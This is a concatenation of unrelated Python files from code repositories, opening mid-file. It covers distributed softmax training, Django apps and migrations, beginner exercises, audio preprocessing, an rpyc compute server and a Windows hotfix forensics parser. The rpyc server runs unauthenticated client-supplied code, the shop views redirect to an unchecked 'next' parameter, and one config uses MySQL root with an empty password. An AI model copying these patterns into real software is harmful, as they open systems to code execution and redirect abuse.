0)).cuda(local_rank)) def save_params(self): """ Save softmax weight for each rank on prefix """ torch.save(self.weight.data, self.weight_name) torch.save(self.weight_mom, self.weight_mom_name) @torch.no_grad() def sample(self, total_label): """ Sample all positive class centers in each rank, and random select neg class centers to filling a fixed `num_sample`. total_label: tensor Label after all gather, which cross all GPUs. """ index_positive = (self.class_start <= total_label) & (total_label < self.class_start + self.num_local) total_label[~index_positive] = -1 total_label[index_positive] -= self.class_start if int(self.sample_rate) != 1: positive = torch.unique(total_label[index_positive], sorted=True) if self.num_sample - positive.size(0) >= 0: perm = torch.rand(size=[self.num_local], device=self.device) perm[positive] = 2.0 index = torch.topk(perm, k=self.num_sample)[1] index = index.sort()[0] else: index = positive self.index = index total_label[index_positive] = torch.searchsorted(index, total_label[index_positive]) self.sub_weight = Parameter(self.weight[index]) self.sub_weight_mom = self.weight_mom[index] def forward(self, total_features, norm_weight): """ Partial fc forward, `logits = X * sample(W)` """ torch.cuda.current_stream().wait_stream(self.stream) logits = linear(total_features, norm_weight) return logits @torch.no_grad() def update(self): """ Set updated weight and weight_mom to memory bank. """ self.weight_mom[self.index] = self.sub_weight_mom self.weight[self.index] = self.sub_weight def prepare(self, label, optimizer): """ get sampled class centers for cal softmax. label: tensor Label tensor on each rank. optimizer: opt Optimizer for partial fc, which need to get weight mom. """ with torch.cuda.stream(self.stream): total_label = torch.zeros( size=[self.batch_size * self.world_size], device=self.device, dtype=torch.long) #dist.all_gather(list(total_label.chunk(self.world_size, dim=0)), label) total_label = label self.sample(total_label) optimizer.state.pop(optimizer.param_groups[-1]['params'][0], None) optimizer.param_groups[-1]['params'][0] = self.sub_weight optimizer.state[self.sub_weight]['momentum_buffer'] = self.sub_weight_mom norm_weight = normalize(self.sub_weight) return total_label, norm_weight def forward_backward(self, label, features, optimizer): """ Partial fc forward and backward with model parallel label: tensor Label tensor on each rank(GPU) features: tensor Features tensor on each rank(GPU) optimizer: optimizer Optimizer for partial fc Returns: -------- x_grad: tensor The gradient of features. loss_v: tensor Loss value for cross entropy. """ total_label, norm_weight = self.prepare(label, optimizer) total_features = torch.zeros( size=[self.batch_size * self.world_size, self.embedding_size], device=self.device) #dist.all_gather(list(total_features.chunk(self.world_size, dim=0)), features.data) total_features = features.data total_features.requires_grad = True logits = self.forward(total_features, norm_weight) logits = self.margin_softmax(logits, total_label.cuda()) with torch.no_grad(): max_fc = torch.max(logits, dim=1, keepdim=True)[0] #dist.all_reduce(max_fc, dist.ReduceOp.MAX) # calculate exp(logits) and all-reduce logits_exp = torch.exp(logits - max_fc) logits_sum_exp = logits_exp.sum(dim=1, keepdims=True) #dist.all_reduce(logits_sum_exp, dist.ReduceOp.SUM) # calculate prob logits_exp.div_(logits_sum_exp) # get one-hot grad = logits_exp index = torch.where(total_label != -1)[0] one_hot = torch.zeros(size=[index.size()[0], grad.size()[1]], device=grad.device) one_hot.scatter_(1, total_label[index, None].cuda(), 1) # calculate loss loss = torch.zeros(grad.size()[0], 1, device=grad.device) loss[index] = grad[index].gather(1, total_label[index, None].cuda()) #dist.all_reduce(loss, dist.ReduceOp.SUM) loss_v = loss.clamp_min_(1e-30).log_().mean() * (-1) # calculate grad grad[index] -= one_hot grad.div_(self.batch_size * self.world_size) logits.backward(grad) if total_features.grad is not None: total_features.grad.detach_() x_grad: torch.Tensor = torch.zeros_like(features, requires_grad=True) # feature gradient all-reduce #dist.reduce_scatter(x_grad, list(total_features.grad.chunk(self.world_size, dim=0))) x_grad = x_grad * self.world_size # backward backbone return x_grad, loss_v

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Ashish-3001/Well-Planned

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"""well_planned URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path, include from my_app import views from django.conf import settings from django.conf.urls.static import static urlpatterns = [ path('admin/', admin.site.urls), path('', views.Home), path('todoList/', include('todo.urls')), path('dairyList/', include('entries.urls')), path('reminders/', include('remindapp.urls')), path('wallet/', include('expensetrack.urls')), path('weather/', views.Weather), ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)

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refs/heads/main

2023-02-26T14:53:22.849660

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# Generated by Django 3.1.6 on 2021-02-07 21:37 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Audio', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('audio', models.FileField(max_length=512, upload_to='media/pages/audio/', verbose_name='ссылка на аудио')), ('bitrate', models.IntegerField(default=256, help_text='кбит/с', verbose_name='битрейт')), ], options={ 'verbose_name': 'Аудио', 'verbose_name_plural': 'Аудио', }, ), migrations.CreateModel( name='Page', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=1047, verbose_name='название страницы')), ('order_number', models.IntegerField(default=1, verbose_name='порядковый номер')), ('hide', models.BooleanField(default=False, verbose_name='скрыть')), ('counter', models.PositiveIntegerField(default=0, editable=False, verbose_name='счетчик просмотров')), ], options={ 'verbose_name': 'страница', 'verbose_name_plural': 'страницы', 'ordering': ('order_number',), }, ), migrations.CreateModel( name='Photo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('photo', models.ImageField(upload_to='media/pages/photo/', verbose_name='изображение')), ], options={ 'verbose_name': 'Фотография', 'verbose_name_plural': 'Фотографии', }, ), migrations.CreateModel( name='Text', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('text', models.TextField(verbose_name='текст')), ], options={ 'verbose_name': 'Текст', 'verbose_name_plural': 'Тексты', }, ), migrations.CreateModel( name='Video', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('video', models.CharField(max_length=512, verbose_name='ссылка на видео')), ('subtitles', models.CharField(blank=True, max_length=512, null=True, verbose_name='ссылка на субтитры')), ], options={ 'verbose_name': 'Видео', 'verbose_name_plural': 'Видео', }, ), migrations.CreateModel( name='Content', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=1047, verbose_name='название блока контента')), ('content_type', models.CharField(choices=[('text', 'текст'), ('audio', 'аудио'), ('video', 'видео'), ('photo', 'фото')], default='text', max_length=10, verbose_name='тип контента')), ('order_number', models.PositiveIntegerField(default=1, verbose_name='порядковый номер')), ('counter', models.PositiveIntegerField(default=0, editable=False, verbose_name='счетчик просмотров')), ('audio', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='content', to='pages.audio', verbose_name='аудио')), ('page', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='content', to='pages.page', verbose_name='Контент')), ('photo', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='content', to='pages.photo', verbose_name='фото')), ('text', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='content', to='pages.text', verbose_name='текст')), ('video', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='content', to='pages.video', verbose_name='видео')), ], options={ 'verbose_name': 'контент', 'verbose_name_plural': 'контент', 'ordering': ('order_number',), }, ), ]

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abulatova@dtln.ru

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/app/kube_settings/validators.py

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PlatformOfTrust/connector-dummy-with-tests

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from app.log import logger def check_pem_key(value: str): """Check if string is a valid PEM formatted key""" from Crypto.PublicKey import RSA # nosec we use PyCryptodome, not PyCrypto try: RSA.importKey(value) except Exception as exc: msg = "Failed to import PEM formatted key" logger.exception(msg) raise ValueError(msg)

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Pinto18/raspi_gassistant

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refs/heads/master

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2017-12-16T04:44:53

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#!/home/pi/AIY-voice-kit-python/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from rsa.cli import keygen if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(keygen())

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pinto18.nd@gmail.com

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/day1-15/day01/temperature.py

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[]

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roohom/Program_100Days

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refs/heads/master

2021-01-13T18:06:52.899517

2020-08-30T15:37:07

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#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/2/24 14:40 # @Author : Roohom # @Site : # @File : temperature.py # @Software: PyCharm """ 将华氏温度转化为摄氏温度 """ F = float(input("请输入华氏温度:")) C = (F - 32) / 1.8 print('%.2f华氏度 = %.1f摄氏度' % (F, C))

[ "roohom@qq.com" ]

roohom@qq.com

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/views.py

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[]

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zdanozdan/mshop

e2c5d0c89e3ba89296e5f58a12cf16e08bb78751

1c7f3187870a5c86a07d7f46fa01b03165c621de

refs/heads/master

2021-03-12T20:07:36.954175

2012-10-26T14:21:23

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# This Python file uses the following encoding: utf-8 from django.shortcuts import render_to_response, get_object_or_404, redirect from django.template import RequestContext from django.utils.translation import ugettext as _ from django.conf import settings from django.contrib import messages from django.http import HttpResponse, HttpResponseRedirect from django.core.urlresolvers import reverse from shop.views.cart import CartDetails, CartItemDetail from shop.views import ShopListView from models import MikranProduct import logging from shop.util.cart import get_or_create_cart from shop.forms import get_cart_item_formset from shop.models.cartmodel import Cart,CartItem from shop.forms import CartItemModelForm from forms import CartForm class WelcomeListView(ShopListView): template_name = 'welcome.html' model = MikranProduct def dispatch(self, *args, **kwargs): return super(WelcomeListView, self).dispatch(*args, **kwargs) def do_currency_switch(self): currency = self.request.session.get(settings.CURRENCY_COOKIE_NAME) if currency in settings.CURRENCIES_LIST: if MikranProduct.set_currency(self.request, code=currency) is True: #logging.debug('currency set OK') return if MikranProduct.set_currency(self.request, code=settings.DEFAULT_CURRENCY) is True: output = _('Error setting currency. Switched to default currency : %(currency)s') % {'currency': settings.DEFAULT_CURRENCY } messages.add_message(self.request,messages.ERROR, output) self.request.session[settings.CURRENCY_COOKIE_NAME] = settings.DEFAULT_CURRENCY return """ error currency setting """ if currency != settings.HOME_CURRENCY: output = _('Error setting currency. Switched to default currency : %(currency)s') % {'currency': settings.DEFAULT_CURRENCY } messages.add_message(self.request,messages.ERROR, output) self.request.session[settings.CURRENCY_COOKIE_NAME] = settings.DEFAULT_CURRENCY def get_queryset(self): return MikranProduct.objects.all()[:5] def get_context_data(self, **kwargs): ctx = super(ShopListView, self).get_context_data(**kwargs) #set up the currency before we use the cart itself self.do_currency_switch() state={'country':self.request.session.get('django_country')} cart_object = get_or_create_cart(self.request) cart_object.update(state) ctx.update({'cart': cart_object}) ctx.update({'cart_items': cart_object.get_updated_cart_items()}) formset = get_cart_item_formset(cart_items=ctx['cart_items']) ctx.update({'formset': formset, }) ctx.update({'cart_form': CartForm(instance=cart_object) }) return ctx class MikranCart(CartDetails): def update_context_with_cart_form(self,ctx): cart_object = get_or_create_cart(self.request) state={'country':self.request.session.get('django_country')} cart_object.update(state) ctx.update({'cart': cart_object}) ctx.update({'cart_items': cart_object.get_updated_cart_items()}) formset = get_cart_item_formset(cart_items=ctx['cart_items']) ctx.update({'formset': formset, }) ctx.update({'cart_form': CartForm(instance=cart_object) }) return ctx class MikranCartItemDetail(MikranCart): template_name = "cart.html" def post_success(self, product, cart_item): """ Post success hook """ messages.add_message(self.request,messages.INFO, _('Product (%s) has been added to basket') % (product),extra_tags='basket_only') return redirect(self.request.POST.get('next')) def get(self, request, *args, **kwargs): #ctx = super(ShopListView, self).get_context_data(**kwargs) ctx = self.get_context_data(**kwargs) self.update_context_with_cart_form(ctx) return self.render_to_response(ctx) class MikranCartDetails(MikranCart): template_name = 'cart.html' def get(self, *args, **kwargs): context = self.get_context_data(**kwargs) self.update_context_with_cart_form(context) return self.render_to_response(context) """ Deletes one of the cartItems. This should be posted to a properly RESTful URL (that should contain the item's ID): http://example.com/shop/cart/item/12345 """ def delete(self, request, *args, **kwargs): cart_object = get_or_create_cart(self.request) item_id = self.kwargs.get('id') item = cart_object.delete_item(item_id) messages.add_message(request,messages.INFO, _('Product (%s) has been deleted from basket') % (item.product),extra_tags='basket_only') if cart_object.get_items_count() == 0: messages.add_message(request,messages.WARNING, _('You have deleted all products. Basket in empty now.'),extra_tags='basket_only') return self.redirect() def post(self, *args, **kwargs): cart_object = get_or_create_cart(self.request) f = CartForm(self.request.POST,instance=cart_object) if f.is_valid(): f.save() #Message only for EU cart clickers if cart_object.is_eu_cart: messages.add_message(self.request,messages.INFO, _('Remember that you need to have valid EU VAT number to claim 0% EU VAT rate'),extra_tags='basket_only') else: messages.add_message(self.request,messages.ERROR, _('Error changing VAT rate.'),extra_tags='basket_only') return redirect(self.request.POST.get('next')) def put(self, *args, **kwargs): """ Update shopping cart form. """ context = self.get_context_data(**kwargs) self.update_context_with_cart_form(context) formset = get_cart_item_formset(cart_items=context['cart_items'],data=self.request.POST) """ valid form redirects to get cart again, otherwise re-display form with errors """ if formset.is_valid(): formset.save() messages.add_message(self.request,messages.INFO, _('Item quantity has been successfully changed.'),extra_tags='basket_only') return self.redirect() messages.add_message(self.request,messages.ERROR, _('Unable to change item quantity.'),extra_tags='basket_only') context.update({'formset': formset, }) return self.render_to_response(context) """ ajax call redirects to render cart object only, otherwise we want to redirect to next, or main page if next is missing""" def redirect(self): if self.request.is_ajax(): return HttpResponseRedirect(reverse('mikran_cart_get')) if self.request.POST.get('next') is not None: return HttpResponseRedirect(self.request.POST.get('next')) return HttpResponseRedirect(reverse('main_page')) def shop(request): return render_to_response('welcome.html', context_instance=RequestContext(request))

[ "tomasz@mikran.pl" ]

tomasz@mikran.pl

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tjmann95/ECEC

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refs/heads/master

2021-05-12T04:30:06.084136

2018-03-15T19:09:23

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print "Python review Part 4 - Calculations and Math Functions" # import the math module as follows. import math # Get help on the math module by uncommenting this statement. # help(math) message1 = """\n1. Find the absolute value of the floating point number -2.34 using a method from the math module. You must not use the __builtin__ method abs(), but a similar math module method starting with f. """ print message1 x = -2.34 # Add your code for exercise 1 here. Be sure to print out the results. message2 = """\n2. A right triangle has legs a = 5.0, b = 12.0 Find the hypotenuse c using the sqrt() method from the math module. """ print message2 a = 5.0 b = 12.0 # Add your code for exercise 2 here. Be sure to print out the results. message3 = """\n\n3. Find the angle B opposite the longer side b using the relation: sin(B) = b/c """ print message3 # Add your code for exercise 3 here. Use the asin() function, which by definition returns radians. message4 = """\n\n4. Express the angle B in degrees using math.degrees() """ print message4 # Add your code for exercise 4 here. message5 = """\n\n5. Express 1000 (base 10) in base 2 using the built-in bin() command. (bin, short for binary). """ print message5 # Add your code for exercise 5 here. message6 = """\n\n6a. Convert the binary number n2 = '10100100010000100000' back to base 10 using the built-in int() command with an optional second argument to specify the base. """ print message6 n2 = "10100100010000100000" # Add your code for exercise 6a here. print "b. Check you work by converting back to base 2 using bin()." # Add your code for exercise 6b here. # * * * EXERCISE 7 * * * message7a = """\n\n7a. Using math.log() with two arguments, find the log of 10,000,000 in base 1000. (one thousand) """ print message7a # Add your code for exercise 7a here. Be sure to print out the answer using a complete sentence. message7b = """\n\n7b. Using math.pow() find 1000 to the seven thirds power. Beware of the integer division! """ print message7b # Add your code for exercise 7b here. Be sure to print out the answer using a complete sentence.

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""" Converts raw TIMIT data into a pickle dump which can be used during training """ import numpy as np import pickle import os import utils import json from utils import listdir class timit_data(): def __init__(self, type_, config_file): self.config = config_file self.mode = type_ self.db_path = config_file['dir']['dataset'] # fold phones in list to the phone which is the key e.g. 'ao' is 'collapsed' into 'aa' self.replacement = utils.replacement_dict() feature_dim = self.config['n_fbank'] + self.config['n_mfcc'] self.pkl_name = self.db_path + self.mode + '_rnn_ctc_' + str(feature_dim) + '.pkl' self.win_len, self.win_step = config_file['window_size'], config_file['window_step'] # Generate and store pickle dump def gen_pickle(self): # Return if already exists if os.path.exists(self.pkl_name): print("Found pickle dump for", self.mode) with open(self.pkl_name, 'rb') as f: return pickle.load(f) print("Generating pickle dump for", self.mode) list_features, list_phones = [], [] base_pth = self.db_path + self.mode all_phones = set() # Phone distribution is used to calculate weights num_distribution = {} # Iterate over entire dataset for dialect in sorted(listdir(base_pth)): print("Dialect:", dialect) for speaker_id in sorted(listdir(os.path.join(base_pth, dialect))): data = sorted(os.listdir(os.path.join(base_pth, dialect, speaker_id))) wav_files = [x for x in data if x.split('.')[-1] == 'wav'] # all the .wav files for wav_file in wav_files: if wav_file in ['SA1.wav', 'SA2.wav']: continue wav_path = os.path.join(base_pth, dialect, speaker_id, wav_file) final_vec = utils.read_wav(wav_path, winlen=self.config['window_size'], winstep=self.config['window_step'], fbank_filt=self.config['n_fbank'], mfcc_filt=self.config['n_mfcc']) phenome_path = wav_path[:-3] + 'PHN' # file which contains the phenome location data # phones in current wav file cur_phones = [] with open(phenome_path, 'r') as f: a = f.readlines() for phenome in a: s_e_i = phenome[:-1].split(' ') # start, end, phenome_name e.g. 0 5432 'aa' start, end, ph = int(s_e_i[0]), int(s_e_i[1]), s_e_i[2] # collapse into father phone for father, list_of_sons in self.replacement.items(): if ph in list_of_sons: ph = father break # update distribution all_phones.add(ph) if ph not in num_distribution.keys(): num_distribution[ph] = 0 num_distribution[ph] += 1 cur_phones.append(ph) # Append current recording to the main list list_features.append(final_vec) list_phones.append(cur_phones) # Each item in to_return is a list corresponding to a single recording # Each recording is in turn a list of tuples of (ph, feature_vector) for each frame if self.mode == 'TRAIN': # Normalise feature vectors np_arr = np.concatenate(list_features, axis=0) print(np_arr.shape) np_mean = np.mean(np_arr, axis=0) np_std = np.std(np_arr, axis=0) # np_mean = np.zeros(np_mean.shape) # np_std = np.ones(np_std.shape) print("Mean:", np_mean, "\nStd. Dev:", np_std) # Weights are inversely proportional to number of phones encountered num_distribution = {k: 1 / v for k, v in num_distribution.items()} total_ph = sum(num_distribution.values()) num_distribution = {k: v / total_ph for k, v in num_distribution.items()} # Dump mapping from id to phone. Used to convert NN output back to the phone it predicted phones_to_id = {} for ph in sorted(all_phones): phones_to_id[ph] = (len(phones_to_id), num_distribution[ph]) phones_to_id['PAD'] = (len(phones_to_id), 0) # Dump this mapping fname = self.config['dir']['dataset'] + 'phone_mapping.json' with open(fname, 'w') as f: json.dump(phones_to_id, f) to_return = list(zip(list_features, list_phones)) # Dump database with open(self.pkl_name, 'wb') as f: pickle.dump(to_return, f) print("Dumped pickle") return to_return if __name__ == '__main__': config_file = {'dir': {'dataset': '../datasets/TEST/'}, 'feat_dim': 38} a = timit_data('TEST', config_file) a.gen_pickle()

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# -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-06-09 15:21 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('sva', '0002_auto_20160609_1518'), ] operations = [ migrations.AlterField( model_name='message_erreur', name='msg_erreur_utilisateur_id', field=models.IntegerField(default=0, verbose_name='ID Utilisateur'), ), migrations.AlterField( model_name='message_multi', name='utilisateur_id', field=models.IntegerField(default=0, verbose_name='ID Utilisateur'), ), migrations.AlterField( model_name='reponse', name='reponse_utilisateur_id', field=models.IntegerField(default=0, verbose_name='ID Utilisateur'), ), ]

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def func(): raise ValueError('from func()') # set __cause__ = None def demo1(): try: func() except ValueError: raise RuntimeError('from demo1()') # set __cause__ = e def demo2(): try: func() except ValueError as e: raise RuntimeError('from demo2()') from e # set __cause__ = None, and suppress chaining def demo3(): try: func() except ValueError: raise RuntimeError('from demo3()') from None def run_demo(f): print('---', f.__name__) try: f() except Exception as e: print(e) print('__context__:', repr(e.__context__)) print('__cause__:', repr(e.__cause__)) print() if __name__ == "__main__": # demo1() # demo2() # demo3() run_demo(demo1) run_demo(demo2) run_demo(demo3)

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#!/usr/bin/env python ########################################################################## # swig/python/python_rpyc_server.py # # Part of Project Thrill. # # Copyright (C) 2015 Timo Bingmann <tb@panthema.net> # # All rights reserved. Published under the BSD-2 license in the LICENSE file. ########################################################################## import sys import marshal import types import rpyc import thrill class RpcDIA(): def __init__(self, dia): self._dia = dia def AllGather(self): return self._dia.AllGather() def Size(self): return self._dia.Size() def Map(self, map_function): code1 = marshal.loads(map_function) func1 = types.FunctionType(code1, globals()) return RpcDIA(self._dia.Map(func1)) def ReduceBy(self, key_extractor, reduce_function): code1 = marshal.loads(key_extractor) func1 = types.FunctionType(code1, globals()) code2 = marshal.loads(reduce_function) func2 = types.FunctionType(code2, globals()) return RpcDIA(self._dia.ReduceBy(func1, func2)) class RpcContext(): def __init__(self, host_ctx, my_host_rank): self._ctx = thrill.PyContext(host_ctx, my_host_rank) def Generate(self, generator_function, size): code1 = marshal.loads(generator_function) function1 = types.FunctionType(code1, globals()) return RpcDIA(self._ctx.Generate(function1, size)) def Distribute(self, array): return RpcDIA(self._ctx.Distribute(array)) class MyService(rpyc.Service): def on_connect(self): # code that runs when a connection is created # (to init the serivce, if needed) print("hello client") pass def on_disconnect(self): # code that runs when the connection has already closed # (to finalize the service, if needed) print("client disconnected") pass def exposed_Create(self, my_host_rank, endpoints): print("Creating thrill context for rank", my_host_rank, "endpoints", endpoints) host_ctx = thrill.HostContext(my_host_rank, endpoints, 1) return RpcContext(host_ctx, 0) if __name__ == "__main__": from rpyc.utils.server import ThreadedServer t = ThreadedServer(MyService, port=int(sys.argv[1]), protocol_config={"allow_public_attrs": True}) t.start() ##########################################################################

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# Next Prime Number # Generate prime numbers until # the user chooses to stop def isPrime(x): """ Checks whether the given number x is prime or not """ if x == 2: return True if x % 2 == 0: return False for i in range(3, int(x**0.5)+1, 2): if x % i == 0: return False return True def genPrime(currentPrime): """ Returns the next prime after the currentPrime """ newPrime = currentPrime + 1 while True: if not isPrime(newPrime): newPrime += 1 else: break return newPrime def main(): # Wrapper function currentPrime = 2 while True: answer = input('Would you like to see the next prime? (Y/N) ') if answer.lower().startswith('y'): print(currentPrime) currentPrime = genPrime(currentPrime) else: break if __name__ == '__main__': main()

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from .common import * DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'so_factory', 'USER': 'root', 'PASSWORD': '', 'HOST': 'localhost', 'PORT': '3306', 'OPTIONS': { 'init_command': 'SET storage_engine=INNODB', }, } }

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#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sondage.settings") try: from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the # issue is really that Django is missing to avoid masking other # exceptions on Python 2. try: import django except ImportError: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) raise execute_from_command_line(sys.argv)

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from __future__ import absolute_import, division, print_function, unicode_literals import torch from .qconfig import QConfig from torch.jit._recursive import wrap_cpp_module class ConvPackedParams(torch.nn.Module): def __init__(self): super(ConvPackedParams, self).__init__() wq = torch._empty_affine_quantized([1, 1, 1, 1], scale=1.0, zero_point=0, dtype=torch.qint8) self.stride = [1, 1] self.padding = [0, 0] self.dilation = [1, 1] self.groups = 1 self.set_weight_bias(wq, None) @torch.jit.export def set_conv_params(self, stride, padding, dilation, groups): # type: (List[int], List[int], List[int], int) -> None self.stride = stride self.padding = padding self.dilation = dilation self.groups = groups @torch.jit.export def set_weight_bias(self, weight, bias): # type: (torch.Tensor, Optional[torch.Tensor]) -> None self._packed_params = torch.ops.quantized.conv2d_prepack(weight, bias, self.stride, self.padding, self.dilation, self.groups) @torch.jit.export def _weight_bias(self): return torch.ops.quantized.conv2d_unpack(self._packed_params) def forward(self, x): return x @torch.jit.export def __getstate__(self): qweight, bias = self._weight_bias() return (qweight, bias, self.stride, self.padding, self.dilation, self.groups, self.training) @torch.jit.export def __setstate__(self, state): self.stride = state[2] self.padding = state[3] self.dilation = state[4] self.groups = state[5] self.set_weight_bias(state[0], state[1]) self.training = state[6] linear_packed_params = None conv_packed_params = None if 'fbgemm' in torch.backends.quantized.supported_engines: linear_packed_params = torch.jit.script(torch.nn.quantized.modules.linear.LinearPackedParams())._c conv_packed_params = torch.jit.script(ConvPackedParams())._c def _check_is_script_module(model): if not isinstance(model, torch.jit.ScriptModule): raise ValueError('input must be a script module, got: ' + str(type(model))) def script_qconfig(qconfig): return QConfig( activation=torch.jit.script(qconfig.activation())._c, weight=torch.jit.script(qconfig.weight())._c) def prepare_script(model, qconfig_dict, inplace=False): _check_is_script_module(model) scripted_qconfig_dict = {k: script_qconfig(v) if v else None for k, v in qconfig_dict.items()} if not inplace: model = model.copy() model = wrap_cpp_module(torch._C._jit_pass_insert_observers(model._c, 'forward', scripted_qconfig_dict, False)) return model def prepare_dynamic_script(model, qconfig_dict): _check_is_script_module(model) scripted_qconfig_dict = {k: script_qconfig(v) for k, v in qconfig_dict.items()} model = wrap_cpp_module(torch._C._jit_pass_insert_observers(model._c, 'forward', scripted_qconfig_dict, False, True)) return model def convert_script(model, inplace=False, debug=False): _check_is_script_module(model) if not inplace: model = model.copy() model.eval() model = wrap_cpp_module(torch._C._jit_pass_insert_quant_dequant(model._c, 'forward', False)) if not debug: model = wrap_cpp_module(torch._C._jit_pass_quant_finalize(model._c)) return model def quantize_script(model, qconfig_dict, run_fn, run_args, inplace=False, debug=False): _check_is_script_module(model) if not model._c._has_method('forward'): raise ValueError('input script module does not have forward method') assert not inplace, "We don't support inplace right now" if not inplace: model = model.copy() torch._C._jit_pass_dedup_module_uses(model._c) model = wrap_cpp_module(torch._C._jit_pass_fold_convbn(model._c)) model = prepare_script(model, qconfig_dict, True) run_fn(model._c._get_method('forward'), *run_args) model = convert_script(model, True, debug) return model

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#!/usr/bin/env python # Copyright (c) 2019 Siemens AG # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of # the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS # FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR # COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER # IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # Author(s): Demian Kellermann """ This plugin parses different registry entries for installed Hotfixes (patches) to the Windows system as well as to other software components """ import logging import re import struct from collections import defaultdict from datetime import datetime import forensicstore from ...util import combined_conditions LOGGER = logging.getLogger(__name__) HOTFIX_PATHS_INSTALLER = [ 'hkey_local_machine\\software\\microsoft\\windows\\currentversion\\component based servicing\\packages\\', ] HOTFIX_PATHS_ADDITIONAL = [ 'hkey_local_machine\\software\\wow6432node\\microsoft\\updates\\', 'hkey_local_machine\\software\\microsoft\\updates\\', ] KB_REGEX = re.compile(r'KB\d+') def _analyze_installer(obj): entries = [] installer_entries = defaultdict(set) hotfix_infos = {v["name"].lower(): v["data"] for v in obj["values"]} if hotfix_infos.get('InstallClient') != 'WindowsUpdateAgent': return [] hotfix = KB_REGEX.search(obj["key"].split('\\')[-1]) if not hotfix: # some entries do not have the KB number in the title, but something like "RollupFix", check # the InstallLocation value in this case location = hotfix_infos.get('InstallLocation') if location: hotfix = KB_REGEX.search(location) if not hotfix: LOGGER.info("Non KB entry for WindowsUpdateAgent found: %s", obj["key"]) return [] install_high = hotfix_infos.get('InstallTimeHigh') install_low = hotfix_infos.get('InstallTimeLow') if install_high and install_low: timestamp = filetime_to_timestamp( filetime_join(install_high, install_low)) else: timestamp = '' installer_entries[hotfix.group(0)].add(timestamp) for hotfix in installer_entries: entries.append({ 'Hotfix': hotfix, 'Installed': sorted(installer_entries[hotfix])[0] if installer_entries[hotfix] else '-', 'Source': 'Component Based Servicing', "type": "hotfix" }) return entries def _analyze_additional(key): hotfix = key["key"].split('\\')[-1] product = key["key"].split('\\')[-2] return [{ 'Hotfix': hotfix, 'Installed': key["modified"], 'Source': 'Microsoft Updates', 'Component': product, "type": "hotfix" }] def transform(obj): if any(map(lambda path: obj["key"].lower().startswith(path), HOTFIX_PATHS_INSTALLER)): return _analyze_installer(obj) if any(map(lambda path: obj["key"].lower().startswith(path), HOTFIX_PATHS_ADDITIONAL)): return _analyze_additional(obj) return [] def filetime_join(upper, lower): """ :param upper: upper part of the number :param lower: lower part of the number """ return struct.unpack('Q', struct.pack('ii', lower, upper))[0] def filetime_to_timestamp(filetime_64): """ The FILETIME timestamp is a 64-bit integer that contains the number of 100th nano seconds since 1601-01-01 00:00:00. The number is usually saved in the registry using two DWORD["values"] :return: string of UTC time """ # pylint: disable=invalid-name HUNDREDS_OF_NANOSECONDS_IN_A_SECOND = 10000000 UNIXEPOCH_AS_FILETIME = 116444736000000000 datetime_stamp = datetime.utcfromtimestamp( (filetime_64 - UNIXEPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS_IN_A_SECOND) return datetime_stamp.isoformat() def main(): store = forensicstore.connect(".") hklmsw = "HKEY_LOCAL_MACHINE\\SOFTWARE\\" conditions = [{ 'key': hklmsw + "Microsoft\\Windows\\CurrentVersion\\Component Based Servicing\\Packages\\%" }, { 'key': hklmsw + "WOW6432Node\\Microsoft\\Updates\\%\\%" }, { 'key': hklmsw + "Microsoft\\Updates\\%\\%" }] for item in store.select("windows-registry-key", 